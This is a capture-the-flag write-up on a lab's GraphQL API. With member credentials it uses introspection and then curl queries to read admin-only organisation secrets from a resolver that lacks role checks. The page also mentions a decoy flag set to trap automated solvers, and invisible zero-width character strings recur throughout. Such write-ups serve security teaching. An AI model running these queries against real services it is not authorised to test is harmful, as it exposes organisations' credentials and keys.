← Back to Writeups
CUSTOMEasyWeb

Lab 121 — OrgPilot — GraphQL Broken Access Control

XESXOR9/2/20264 min read
#web#custom#easy#authorization_bypass#graphql_introspection#schema_enumeration#sensitive_field_extraction

Lab 121 — OrgPilot — GraphQL Broken Access Control

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: authorization_bypass, graphql_introspection, schema_enumeration, sensitive_field_extraction

Summary

Walkthrough of the CUSTOM Web Lab 121 — OrgPilot — GraphQL Broken Access Control. Task: Organization management platform with GraphQL API; member credentials provided, admin secrets should be restricted. Solution: Introspection reveals orgSecrets query; resolver lacks role-based au

Description

OrgPilot is a team and organization management platform built by Nimbus Software. It lets companies manage their teams, roles, billing, and organization settings from a single dashboard. The platform uses a modern GraphQL API to power its frontend.

You have been given credentials for a regular member account. As a member, you can view the team list and your own profile, but administrative features like billing, settings, and API secrets should be restricted.

Your goal is to find and capture the flag hidden somewhere in the platform's data that only administrators should be able to access.

Credentials: alex.chen@nimbuscorp.io / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js organization management platform with a GraphQL API. Given member-level credentials, the goal is to access admin-restricted data (API secrets) by exploiting broken access control in GraphQL resolvers.

Analysis

Reconnaissance

  • Stack: Express.js backend (X-Powered-By: Express) behind nginx/1.25.5
  • Authentication: Form-based POST to /login with email/password, returns JWT in a cookie
  • JWT payload: {"id":4,"email":"alex.chen@nimbuscorp.io","orgId":1,"role":"member"}
  • Decoy trap: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments on every page — a honeypot designed to trick automated solvers and prompt injection bots ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

GraphQL Schema Discovery

Full introspection is enabled at /graphql — a critical misconfiguration for production. The introspection query revealed the complete API surface:

Queries:

QueryReturn TypeAccess
meUserAny authenticated
organization(id: ID!)OrganizationAny authenticated
teamMembers(orgId: ID!)[User]Any authenticated
activityLog(orgId: ID!, limit: Int)[ActivityEntry]Any authenticated
billingRecords(orgId: ID!)[BillingRecord]Any authenticated
invitations(orgId: ID!)[Invitation]Any authenticated
orgSecrets(orgId: ID!)[OrgSecret]Should be admin-only
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Mutations:

  • login, updateProfile, removeUserFromOrg, updateOrgSettings, createInvitation

Key type — OrgSecret:

  • Fields: id, orgId, keyName, keyValue, environment, createdBy, createdAt, updatedAt

Vulnerability

The orgSecrets query is intended for admin-only access (API secrets, keys), but the GraphQL resolver does not enforce role-based authorization. Any authenticated user — including one with role: "member" — can query it and read all organization secrets. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This is OWASP A01:2021 — Broken Access Control at the GraphQL resolver level.

Solution

Step 1: Authenticate and obtain JWT

bash
BASE="https://cf9561d6-9849-48c0-b929-c916413df509.labs.hackadvisor.io"

# Login and capture the JWT cookie
curl -s -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=alex.chen@nimbuscorp.io&password=password123" \
  -c cookies.txt -D -

# Extract token from cookies
TOKEN=$(grep token cookies.txt | awk '{print $NF}')

Step 2: Confirm GraphQL endpoint and run introspection

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# Confirm endpoint
curl -s -X POST "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ __typename }"}'
# Returns: {"data":{"__typename":"Query"}}

# Full introspection query
curl -s -X POST "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } type { name kind ofType { name kind ofType { name } } } } } mutationType { fields { name args { name type { name kind ofType { name } } } } } types { name fields { name type { name kind ofType { name kind ofType { name } } } } } } }"}' | python3 -m json.tool

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Exploit broken access control on orgSecrets

bash
# Query admin-only secrets as a regular member — no authorization check!
curl -s -X POST "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ orgSecrets(orgId: \"1\") { id keyName keyValue environment } }"}' \
  | python3 -m json.tool

Response (5 secrets returned):

json
{
  "data": {
    "orgSecrets": [
      {"id": "1", "keyName": "WEBHOOK_SIGNING_KEY", "keyValue": "whsec_...", "environment": "production"},
      {"id": "2", "keyName": "INTERNAL_API_TOKEN", "keyValue": "iat_...", "environment": "production"},
      {"id": "3", "keyName": "MASTER_API_KEY", "keyValue": "FLAG{REDACTED}", "environment": "production"},
      {"id": "4", "keyName": "STRIPE_SECRET_KEY", "keyValue": "sk_live_...", "environment": "production"},
      {"id": "5", "keyName": "SLACK_BOT_TOKEN", "keyValue": "xoxb-...", "environment": "production"}
    ]
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is stored as the value of the MASTER_API_KEY secret. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering authorization_bypass, graphql_introspection, schema_enumeration, sensitive_field_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 121 — OrgPilot — GraphQL Broken Access Control • Difficulty: Easy